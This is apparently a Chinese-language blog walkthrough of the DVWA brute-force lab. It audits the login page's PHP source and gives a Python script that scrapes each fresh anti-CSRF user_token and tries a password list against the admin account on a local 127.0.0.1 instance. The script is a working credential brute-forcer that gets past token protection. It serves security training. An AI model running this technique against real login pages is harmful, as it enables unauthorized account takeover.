DVWA Brute force 暴力破解Python脚本

    xiaoxiao2023-10-21  177

    注意,以下步骤适用于1.9版本的DVWA,至于1.10略有变化。

    该表单结构如下:

    填入用户名和密码,发送请求,采用burpsuite抓包如下:

    通过对该数据包分析可知,url请求提交了username,password,Login,user_token四个参数。

    然后分析后台服务器上PHP源代码,如下

    <?php if( isset( $_GET[ 'Login' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Sanitise username input $user = $_GET[ 'username' ]; $user = stripslashes( $user ); $user = mysql_real_escape_string( $user ); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = stripslashes( $pass ); $pass = mysql_real_escape_string( $pass ); $pass = md5( $pass ); // Check database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); if( $result && mysql_num_rows( $result ) == 1 ) { // Get users details $avatar = mysql_result( $result, 0, "avatar" ); // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // Login failed sleep( rand( 0, 3 ) ); echo "<pre><br />Username and/or password incorrect.</pre>"; } mysql_close(); } // Generate Anti-CSRF token generateSessionToken(); ?>

    通过对源代码进行审计,发现后台的验证逻辑为:1.检测是否设置Login 2.验证提交的token和服务器中session_token是否相同。3.对提交的用户名和密码进行处理后执行SQL语句进行验证。

    每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。注意,这里的user_token在对服务器发送请求时就会被重置,所以可以通过爬虫的方式将该值抓取,构造url进行爆破。

    爬虫代码如下:

    from bs4 import BeautifulSoup import urllib2 #设置全局代理,后面的每次请求都会使用此代理 proxy_handler = urllib2.ProxyHandler({'http': '127.0.0.1:8080'}) opener = urllib2.build_opener(proxy_handler) urllib2.install_opener(opener) header={ 'Host': '127.0.0.1', 'Cache-Control': 'max-age=0', 'If-None-Match': "307-52156c6a290c0", 'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36', 'Accept': '*/*', 'Referer': 'http://127.0.0.1/dvwa/vulnerabilities/brute/index.php', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'zh-CN,zh;q=0.8', 'Cookie': 'security=high; PHPSESSID=v0cr21n7melq3klc8475l5b3p4'}#这里的PHPSESSID需要改为自己登陆后的PHPSESSIONID requrl = "http://127.0.0.1/dvwa/vulnerabilities/brute/" def get_token(requrl,header): req = urllib2.Request(url=requrl,headers=header) response = urllib2.urlopen(req) print response.getcode(), the_page = response.read() print len(the_page) soup = BeautifulSoup(the_page,"html.parser") user_token = soup.find_all('input')[3].get('value') return user_token user_token = get_token(requrl,header) i=0 for line in open("test.txt"): requrl = "http://127.0.0.1/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token i = i+1 print i,'admin',line.strip(),user_token, user_token = get_token(requrl,header) if (i == 30): break

    PHPSESSID可通过开发者模式,查找。

    运行该脚本,结果如下:

    脚本运行结果表名,只有当密码为password时,服务器返回内容长度与其他均不同,表明密码为password

    打开burpsuite,验证Python脚本发送的请求已全部被burpsuite捕获。

    最新回复(0)